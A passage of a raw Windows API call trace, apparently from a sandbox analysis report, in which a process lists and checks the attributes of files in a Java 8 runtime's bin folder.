dwReserved1=0x0, cFileName="prism_common.dll", cAlternateFileName="PRISM_~1.DLL")) returned 1 [0124.694] GetCurrentThreadId () returned 0x9b0 [0124.694] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="prism_d3d.dll", cAlternateFileName="PRISM_~2.DLL")) returned 1 [0124.694] GetCurrentThreadId () returned 0x9b0 [0124.694] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0124.695] GetCurrentThreadId () returned 0x9b0 [0124.695] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0124.695] GetCurrentThreadId () returned 0x9b0 [0124.695] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0124.695] GetCurrentThreadId () returned 0x9b0 [0124.695] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0124.695] GetCurrentThreadId () returned 0x9b0 [0124.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1 [0124.696] GetCurrentThreadId () returned 0x9b0 [0124.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0124.696] GetCurrentThreadId () returned 0x9b0 [0124.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0124.696] GetCurrentThreadId () returned 0x9b0 [0124.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0124.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0124.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0124.696] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0124.697] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0124.698] FindNextFileA (in: hFindFile=0x10f77d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0124.698] FindClose (in: hFindFile=0x10f77d0 | out: hFindFile=0x10f77d0) returned 1 [0124.698] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\awt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\awt.dll")) returned 0x20 [0124.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0124.698] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20 [0124.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.699] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dcpr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dcpr.dll")) returned 0x20 [0124.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0124.699] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20 [0124.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0124.700] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 0x20 [0124.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a968 | out: hHeap=0x2ad0000) returned 1 [0124.701] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881270, Size=0x20) returned 0x33eafa8 [0124.701] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin")) returned 0x10 [0124.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0124.701] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0124.701] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_shmem.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_shmem.dll")) returned 0x20 [0124.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0124.702] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dt_socket.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dt_socket.dll")) returned 0x20 [0124.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.702] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\eula.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\eula.dll")) returned 0x20 [0124.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.703] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 0x20 [0124.703] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.703] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eafa8, Size=0x40) returned 0x3887458 [0124.703] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fxplugins.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fxplugins.dll")) returned 0x20 [0124.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0124.705] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glass.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glass.dll")) returned 0x20 [0124.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0124.705] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20 [0124.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0124.705] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\gstreamer-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\gstreamer-lite.dll")) returned 0x20 [0124.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0124.706] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\hprof.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\hprof.dll")) returned 0x20 [0124.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a468 | out: hHeap=0x2ad0000) returned 1 [0124.706] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\instrument.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\instrument.dll")) returned 0x20 [0124.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0124.707] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pcsc.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pcsc.dll")) returned 0x20 [0124.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0124.708] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\j2pkcs11.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\j2pkcs11.dll")) returned 0x20 [0124.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.708] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887458, Size=0x64) returned 0x2a19888 [0124.708] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20 [0124.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0124.708] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20 [0124.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a428 | out: hHeap=0x2ad0000) returned 1 [0124.709] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20 [0124.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0124.709] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.dll")) returned 0x20 [0124.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.710] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0124.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0124.710] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0124.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0124.711] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.cpl" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.cpl")) returned 0x20 [0124.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0124.711] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 0x20 [0124.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a928 | out: hHeap=0x2ad0000) returned 1 [0124.711] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font.dll")) returned 0x20 [0124.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0124.712] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19888, Size=0x8c) returned 0x2ac07e0 [0124.712] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll")) returned 0x20 [0124.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0124.712] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20 [0124.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0124.713] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 0x20 [0124.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0124.713] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe")) returned 0x20 [0124.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0124.714] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java_crw_demo.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java_crw_demo.dll")) returned 0x20 [0124.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887530 | out: hHeap=0x2ad0000) returned 1 [0124.714] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jawt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawt.dll")) returned 0x20 [0124.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.715] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JAWTAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jawtaccessbridge-64.dll")) returned 0x20 [0124.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887890 | out: hHeap=0x2ad0000) returned 1 [0124.715] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jdwp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jdwp.dll")) returned 0x20 [0124.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0124.716] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0124.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0124.716] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 0x20 [0124.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0124.717] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac07e0, Size=0xb8) returned 0x325fcb0 [0124.717] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0124.717] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0124.717] GetFileAttributesA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20 [0124.718] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: 